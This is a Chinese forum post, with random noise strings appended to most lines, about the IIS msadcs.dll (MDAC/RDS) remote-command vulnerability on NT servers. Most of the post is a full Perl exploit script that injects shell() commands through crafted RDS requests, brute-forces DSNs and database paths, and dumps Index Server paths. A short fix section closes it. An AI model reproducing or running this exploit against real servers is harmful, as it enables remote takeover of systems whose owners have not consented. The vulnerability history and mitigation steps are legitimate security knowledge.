社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 167523阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) sM-,95H  
$r!CQ 2S  
涉及程序: ~7 i{~<?  
Microsoft NT server JIySe:p3  
^ }7O|Y7  
描述: A8m06  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 f!'i5I]  
fp [gKRSF  
详细: 4'O,xC  
如果你没有时间读详细内容的话,就删除: bT ,_=7F  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ?\o~P  
有关的安全问题就没有了。 Xq135/d  
HA,o2jZ?In  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ~XOmxz0  
v #+ECx  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 tAv3+  
关于利用ODBC远程漏洞的描述,请参看: aZmN(AJ8v  
,Wlt[T(.;  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm %66="1z0@  
 cyl%p$  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 ,';|CGI cP  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp {+J{t\`  
1=)M15  
这里不再论述。 ZwUBeyxS=c  
? "I %K%  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: Q4u.v,sE  
?AyxRbk  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset d>p' A_  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! kOydh(yE  
r07u6OA  
DB|1Sqjsn  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ^^b'tP1>  
7a"06Et^  
#!perl V%8(zt  
# mUg :<.^  
# MSADC/RDS 'usage' (aka exploit) script eh9 ?GUr5  
# \Bo$ 3  
# by rain.forest.puppy wK(]E%\  
# =.3#l@E!C  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 'n'>+W:  
# beta test and find errors! ^-"Iw y  
c1Ks{%iA  
use Socket; use Getopt::Std; Q!+AiSTU  
getopts("e:vd:h:XR", \%args); /yI4;:/  
A6]:BuP;c  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; EZ<:>V-_D  
m'"r<]pB*4  
if (!defined $args{h} && !defined $args{R}) { Skt-5S#  
print qq~ wMVUTm  
Usage: msadc.pl -h <host> { -d <delay> -X -v } $?56 i4  
-h <host> = host you want to scan (ip or domain) n4{%M  
-d <seconds> = delay between calls, default 1 second +9Tc.3vQ  
-X = dump Index Server path table, if available =dGp&9K,fw  
-v = verbose pCE GZV,d@  
-e = external dictionary file for step 5 B7f<XBU6>  
\GL] I.  
Or a -R will resume a command session Jpapl%7v  
(h0@;@@7hW  
~; exit;} a`' >VCg  
ozRO:*51  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; |]< 3cW+  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} gy.UTAs N  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}  LSC[S:  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); Gn2{C%  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} ga +, P  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ]d1'5F][H  
"-&K!Vfs  
if (!defined $args{R}){ $ret = &has_msadc; V#ELn[k  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} Vgj#-7bdyi  
5&n:i,  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" uRb48Qy2  
. "cmd /c "; ]yPK}u  
$in=<STDIN>; chomp $in;  R0Vt_7  
$command="cmd /c " . $in ; Eg)24C R 4  
DzpWU8j  
if (defined $args{R}) {&load; exit;} H\>{<`sD;f  
^{}G4BEY  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; NTu |cX\R  
&try_btcustmr; )gdeFA V  
.aNh>`OT'  
print "\nStep 2: Trying to make our own DSN..."; :M"+  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; F=qILwd  
#Pg#\v|7#>  
print "\nStep 3: Trying known DSNs..."; rCw 4a?YS  
&known_dsn; 6BV 6<PHJ  
@\g}I`_M  
print "\nStep 4: Trying known .mdbs..."; FsED9+/m  
&known_mdb; G J%^hr`P  
0Q{lyu  
if (defined $args{e}){ }h^ fX  
print "\nStep 5: Trying dictionary of DSN names..."; Ic0Sb7c  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } /GgID!8  
<O+GXJ2  
print "Sorry Charley...maybe next time?\n"; Jt[ug26  
exit; |?88EG@05  
4;YP\{u  
############################################################################## QGpj$ _b  
N?qETp-:  
sub sendraw { # ripped and modded from whisker 2_w pj;E  
sleep($delay); # it's a DoS on the server! At least on mine... *HD(\;i-$  
my ($pstr)=@_; M`&t=0D  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || -PPwX~;!  
die("Socket problems\n"); Z,)H f  
if(connect(S,pack "SnA4x8",2,80,$target)){ }eLApFHEDg  
select(S); $|=1; GKoYT{6  
print $pstr; my @in=<S>; |XB<vj07G  
select(STDOUT); close(S); *F( qg%1+  
return @in; 'UX^]  
} else { die("Can't connect...\n"); }} J&aN6l?  
?^~ZsOd8B  
############################################################################## .s<0}<Aq>  
-- %XkO  
sub make_header { # make the HTTP request fS"u"]j*e  
my $msadc=<<EOT Nw. )O  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ] 0R*F30]  
User-Agent: ACTIVEDATA $[X][[  
Host: $ip I7U/={[J  
Content-Length: $clen 3 P0z$jh"H  
Connection: Keep-Alive E3'I;  
Pn9".  
ADCClientVersion:01.06 WHC/'kvF  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 r-T1^u  
5~h )pt47  
--!ADM!ROX!YOUR!WORLD! kqeEm {I  
Content-Type: application/x-varg c^w^'<  
Content-Length: $reqlen M]o]D;N~l  
vl/!w2  
EOT }[eUAGhDU  
; $msadc=~s/\n/\r\n/g; Zz} o  t  
return $msadc;} PY.HZ/#d  
Kl.*Q  
############################################################################## G `|7NL   
t`6]eRR  
sub make_req { # make the RDS request $ #!oejLD  
my ($switch, $p1, $p2)=@_; gOg7:VPG  
my $req=""; my $t1, $t2, $query, $dsn; {gzQ/|}#z-  
CG%bZco((  
if ($switch==1){ # this is the btcustmr.mdb query ,[ 2N3iH  
$query="Select * from Customers where City=" . make_shell(); 7FH-l(W  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . M %,\2!$  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} ?eTZ>o.p/  
}C @xl9S"  
elsif ($switch==2){ # this is general make table query [7><^?t V  
$query="create table AZZ (B int, C varchar(10))"; diXWm-ZKL  
$dsn="$p1";} #f(a,,Uu'  
.M:&Aj)x16  
elsif ($switch==3){ # this is general exploit table query  (7X  
$query="select * from AZZ where C=" . make_shell(); QI[WXx p  
$dsn="$p1";} :0@0muo  
_EMX x4J  
elsif ($switch==4){ # attempt to hork file info from index server 4]1/{</B|  
$query="select path from scope()"; 6?,qysm06  
$dsn="Provider=MSIDXS;";} xtGit}  
SXsszb:_  
elsif ($switch==5){ # bad query B}04E^  
$query="select"; ILCh1=?{9r  
$dsn="$p1";} N@PuC>  
;\th.!'rn  
$t1= make_unicode($query); w#1BHx  
$t2= make_unicode($dsn); 4 6v C/  
$req = "\x02\x00\x03\x00"; {eU>E /SQ  
$req.= "\x08\x00" . pack ("S1", length($t1)); p@78Xmu?q  
$req.= "\x00\x00" . $t1 ; UG.:D';3,  
$req.= "\x08\x00" . pack ("S1", length($t2)); vs8[352  
$req.= "\x00\x00" . $t2 ; jW&*?6<  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 3sV$#l P  
return $req;} =RUy4+0>F  
6`2i'flv  
############################################################################## HxK'u4I  
;8#6da,  
sub make_shell { # this makes the shell() statement 3z0Bg  
return "'|shell(\"$command\")|'";} \2u7>fU!  
KF&8l/f  
############################################################################## 9(fh+  
\r aP  
sub make_unicode { # quick little function to convert to unicode -)%\$z  
my ($in)=@_; my $out; >yc),]1~  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } (w-"1(  
return $out;} K cex%.  
O=}w1]  
############################################################################## D;JZ0."  
kQU4s)J  
sub rdo_success { # checks for RDO return success (this is kludge) +m JG:n  
my (@in) = @_; my $base=content_start(@in); _*}D@yy&  
if($in[$base]=~/multipart\/mixed/){ \@PMj"p|:  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} i$pUUK  
return 0;} X,3"4 SK  
UK OhsE  
############################################################################## F$>#P7ph\a  
.;31G0<w2  
sub make_dsn { # this makes a DSN for us u"5/QB{  
my @drives=("c","d","e","f"); ecm+33C  
print "\nMaking DSN: "; C2LG@iCIE  
foreach $drive (@drives) { iOm&(2/  
print "$drive: "; )T '?"guh`  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . -0a3eg)Z*  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ;nh_L(  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); ],AtR1k  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; {31X  
return 0 if $2 eq "404"; # not found/doesn't exist )[Rwc#PA;  
if($2 eq "200") { H5]q*D2  
foreach $line (@results) { 8r}tf3xMCM  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} %^W(sB$b  
} return 0;} \aSc2Ml]3n  
&7kLSb&|;  
############################################################################## bZSt<cH3  
=?L16mu1&  
sub verify_exists { )%/ Ni^  
my ($page)=@_; $o9^b Z  
my @results=sendraw("GET $page HTTP/1.0\n\n"); :hO B  
return $results[0];} y<gRl/e  
vy [7I8f{  
############################################################################## c-zW 2;|61  
jB -A d8  
sub try_btcustmr { FM3.z)>  
my @drives=("c","d","e","f"); 0<A*I{,4L  
my @dirs=("winnt","winnt35","winnt351","win","windows"); fC"? r6d  
<> HI(6\@Z  
foreach $dir (@dirs) { D0\*WK$  
print "$dir -> "; # fun status so you can see progress %>nAPO+e  
foreach $drive (@drives) { F6{ O  
print "$drive: "; # ditto _0[s]  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; /W>?p@j+K  
$reqlenlen=length( "$reqlen" ); aIT0t0.  
$clen= 206 + $reqlenlen + $reqlen; v3~`1MM  
r *N@%T  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 6I~M8Lo ;  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} M+-odLltw  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} `-s]d q  
c(Xm~ 'jeH  
############################################################################## .4 NcaMj  
PtPx(R3  
sub odbc_error { z xgDaT  
my (@in)=@_; my $base; &B8x0 yi  
my $base = content_start(@in); EP4?+"Z  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this MG&vduu  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Cjt].XR@  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; j~rW 2(  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Q&$2F:4f&  
return $in[$base+4].$in[$base+5].$in[$base+6];} Y}}1]}VIK  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ER`;0#3[9u  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . BDL[C<d(  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} (eT9N_W  
5!i\S[:  
############################################################################## &6GW9pl[  
4D.h~X4  
sub verbose { U2Siw   
my ($in)=@_; ZdhA:}~^E  
return if !$verbose; QeQwmI  
print STDOUT "\n$in\n";} 4,`t9f^:  
j0cB#M44  
############################################################################## FKtCUq,:  
CW@EQ3y0  
sub save { W)2k>cS  
my ($p1, $p2, $p3, $p4)=@_; KVC18"|f  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 4\U"e*  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 9nd,8Nji  
close OUT;} ?S)Pv53>}  
4fL>Ou[YuX  
############################################################################## \J~@r1  
OS~Z@'Eg  
sub load { BMzS3;1_  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; FLumI-se!  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 8N<2RT8W  
@p=<IN>; close(IN); .4z_ohe  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); gf;B&MM6  
$target= inet_aton($ip) || die("inet_aton problems"); fob.?ID-;  
print "Resuming to $ip ..."; &)Vuh=  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; >.gT9  
if($p[1]==1) { _y[B/C,q  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 2j^8{Agz  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; V#&S&dn  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); Y,KSr|vG  
if (rdo_success(@results)){print "Success!\n";} ){J,Z*&  
else { print "failed\n"; verbose(odbc_error(@results));}} uq!d8{IMu  
elsif ($p[1]==3){ 27JZwlzZ  
if(run_query("$p[3]")){ (^|vN ;  
print "Success!\n";} else { print "failed\n"; }} 0;5qo~1  
elsif ($p[1]==4){ =b3<}]  
if(run_query($drvst . "$p[3]")){ -!j5j:RR  
print "Success!\n"; } else { print "failed\n"; }} ,PWMl [X  
exit;} > W^"*B  
)P W Zc?M  
############################################################################## |'k7 ;UW  
E zU=q E  
sub create_table { ]D>\Z(b  
my ($in)=@_; x50ZwV&j  
$reqlen=length( make_req(2,$in,"") ) - 28; 78'3&,+si  
$reqlenlen=length( "$reqlen" );  N,ihQB5  
$clen= 206 + $reqlenlen + $reqlen; f2P2wt.$  
my @results=sendraw(make_header() . make_req(2,$in,"")); n~yhX%=_Du  
return 1 if rdo_success(@results); `g'9)Xf4KT  
my $temp= odbc_error(@results); verbose($temp); F PAj}as  
return 1 if $temp=~/Table 'AZZ' already exists/; ]1bNcq2I  
return 0;} ;:~-=\  
l\bgp3.+  
############################################################################## c_6~zb?k+m  
h],l`lT1\  
sub known_dsn { $=!_ !tr  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go OLJ|gunA#  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", H1ox>sC  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", UDgUbi^v|D  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); G $iC@,/  
V(!-xu1,  
foreach $dSn (@dsns) { )K 0rPnYV  
print "."; D89 (u.h  
next if (!is_access("DSN=$dSn")); I|P#|0< 2  
if(create_table("DSN=$dSn")){ ;0 9~#Wop  
print "$dSn successful\n"; Q$S|LC  
if(run_query("DSN=$dSn")){ D14i]  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { qAVZ&:#  
print "Something's borked. Use verbose next time\n";}}} print "\n";} Z&Z= 24q_  
-H](2}  
############################################################################## FHyyZ{"  
:W}M$5|  
sub is_access { HqKD]1  
my ($in)=@_; tc<HA7vpt~  
$reqlen=length( make_req(5,$in,"") ) - 28; )cRP6 =  
$reqlenlen=length( "$reqlen" ); ET=-r  
$clen= 206 + $reqlenlen + $reqlen; {r[g.@  
my @results=sendraw(make_header() . make_req(5,$in,"")); li)shp)  
my $temp= odbc_error(@results); $-BM`Zt0;  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); }FAO.  
return 0;} D]5cijO6  
5uvFCY./c  
############################################################################## II}3w#r4  
+Ft@S(IE  
sub run_query { cY%6+uJ1  
my ($in)=@_; IaYy5Rw  
$reqlen=length( make_req(3,$in,"") ) - 28; /HM 0p  
$reqlenlen=length( "$reqlen" ); /-C6I:  
$clen= 206 + $reqlenlen + $reqlen; uU`Mq8) R  
my @results=sendraw(make_header() . make_req(3,$in,"")); FP h1}qS  
return 1 if rdo_success(@results); wb (quu  
my $temp= odbc_error(@results); verbose($temp); kiR+ Dsl  
return 0;} aL0,=g%  
<.c#l':  
############################################################################## p>0n~e  
y(Ck j"  
sub known_mdb { $r/tVu2!W  
my @drives=("c","d","e","f","g"); +J(@.  
my @dirs=("winnt","winnt35","winnt351","win","windows"); rTYMN  
my $dir, $drive, $mdb; (Q][d+} /  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 6n Hyd<o  
-@G,Ry-\t  
# this is sparse, because I don't know of many `RL n)a  
my @sysmdbs=( "\\catroot\\icatalog.mdb", !:<n]-U  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", P4dhP-t  
"\\system32\\certmdb.mdb", ]^DNzqu=@h  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ~&T%u.u 7  
lX|d:HFtP  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", >_LZD4v! <  
"\\cfusion\\cfapps\\forums\\forums_.mdb", Z'4oE )  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", iz\GahK  
"\\cfusion\\cfapps\\security\\realm_.mdb", 222Mm/QN  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", t8upS u|  
"\\cfusion\\database\\cfexamples.mdb", ~"#[<d  
"\\cfusion\\database\\cfsnippets.mdb", 1usLCG>w{  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", )2y# cM*  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", xe!6Pgcb  
"\\cfusion\\brighttiger\\database\\cleam.mdb", e"ur+7  
"\\cfusion\\database\\smpolicy.mdb", |qX[Dk  
"\\cfusion\\database\cypress.mdb", )i*-j =  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 4lpkq  
"\\website\\cgi-win\\dbsample.mdb", H.]rH,8  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 4ai|*8.  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" _|vY)4B 4U  
); #these are just <gbm 1iEe  
foreach $drive (@drives) { YgW 50)q^  
foreach $dir (@dirs){ wYLJEuS|  
foreach $mdb (@sysmdbs) { gOKF%Ej31T  
print "."; T9O3$1eqfo  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ L<M H:  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; A&/ YnJ"  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ H m Z*  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; QcG-/_,'}  
} else { print "Something's borked. Use verbose next time\n"; }}}}} }2~$"L,_  
7C@%1kL  
foreach $drive (@drives) { "3X~BdH&J  
foreach $mdb (@mdbs) { KO5! (vi@  
print "."; 3zuYN-;  
if(create_table($drv . $drive . $dir . $mdb)){ Q"=$.M~  
print "\n" . $drive . $dir . $mdb . " successful\n"; !JWZ}u M6  
if(run_query($drv . $drive . $dir . $mdb)){ ! 4{T<s;q  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ,f?+QV\T.  
} else { print "Something's borked. Use verbose next time\n"; }}}} f{eMh47 NC  
} U *']7-  
k86j& .m_  
############################################################################## 55#s/`gd)^  
y?@(%PTp  
sub hork_idx { ?0k4l8R  
print "\nAttempting to dump Index Server tables...\n"; lzup! `g  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; &'d3Yt  
$reqlen=length( make_req(4,"","") ) - 28; EHqcQx`K_  
$reqlenlen=length( "$reqlen" ); E-J<%+  
$clen= 206 + $reqlenlen + $reqlen;  pu?D^h9/  
my @results=sendraw2(make_header() . make_req(4,"","")); nN$aZSb`  
if (rdo_success(@results)){ '\I!RAZ  
my $max=@results; my $c; my %d; urA kV#d#  
for($c=19; $c<$max; $c++){ i"J`$u  
$results[$c]=~s/\x00//g; &R;Cm]jt  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; K \_JG $(9  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; lD\vq2  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 8|Vm6*TY&p  
$d{"$1$2"}="";} s(MLBV5)w  
foreach $c (keys %d){ print "$c\n"; } 0s'H(qE,_  
} else {print "Index server doesn't seem to be installed.\n"; }} 1&Ruz[F5  
7\nR'MOZ  
############################################################################## Tq*K =^  
o"-*,:Qe  
sub dsn_dict { pZaOd;t  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); nb,+!)+  
while(<IN>){ %AnqT|\#,  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 1aBQ.-E-  
next if (!is_access("DSN=$dSn")); "[t b-$ER  
if(create_table("DSN=$dSn")){ &D*22R4{CX  
print "$dSn successful\n"; %1^E;n  
if(run_query("DSN=$dSn")){ ;;? Zd  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { #<EMG|&(  
print "Something's borked. Use verbose next time\n";}}} 1<TB{}b Z  
print "\n"; close(IN);} /<-@8CC<  
@dx$&;w  
############################################################################## )CM3v L {  
?KMGk]_<  
sub sendraw2 { # ripped and modded from whisker 1sN >U<  
sleep($delay); # it's a DoS on the server! At least on mine... bIP%xl Vp  
my ($pstr)=@_; $:D-dUr1  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || rI.CCPY~s  
die("Socket problems\n"); HyKv5S$  
if(connect(S,pack "SnA4x8",2,80,$target)){ [) S&PK  
print "Connected. Getting data"; MWZH-aA(.  
open(OUT,">raw.out"); my @in; y|(C L^(  
select(S); $|=1; print $pstr; eB,eu4+-  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} T\b-<Xle  
close(OUT); select(STDOUT); close(S); return @in; .qGfLvx%  
} else { die("Can't connect...\n"); }} gOL-b9W  
FvVR \a  
############################################################################## N~t4qlC/  
w_h}c$;GK  
sub content_start { # this will take in the server headers CPt62j8  
my (@in)=@_; my $c; 1b4/  
for ($c=1;$c<500;$c++) { &2\^S+4  
if($in[$c] =~/^\x0d\x0a/){ LL"c 9jb4z  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } rIJv(&l  
else { return $c+1; }}} :j}4F  
return -1;} # it should never get here actually `#x}-A$  
czu?]9;^ Z  
############################################################################## W34_@,GD  
.&2Nm&y$ K  
sub funky { .5K}R<  
my (@in)=@_; my $error=odbc_error(@in); ;r.0=Uo9]  
if($error=~/ADO could not find the specified provider/){ x}B_;&>&"_  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; >3&Oe  
exit;} ?@YABl  
if($error=~/A Handler is required/){ S?K x:]  
print "\nServer has custom handler filters (they most likely are patched)\n"; %.[jz,;)  
exit;} `<x((@#  
if($error=~/specified Handler has denied Access/){ O\&-3#e  
print "\nServer has custom handler filters (they most likely are patched)\n"; ' zz ^ !@  
exit;}} %Z]c[V.  
b"7L ;J5|  
############################################################################## PRQEk.C  
6#za\[  
sub has_msadc { yHNx,ra   
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); z8-dntkf  
my $base=content_start(@results); 7wB*@a-  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 5g\>x;cc  
return 0;} +u\kTn  
q\]"}M 8  
######################## vn(ji=  
}Md5a%s<  
fs,]%g^  
解决方案: jhF&   
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll X5w_ }Nhe  
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 Z;M th#  
@/f'i9?oM`  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五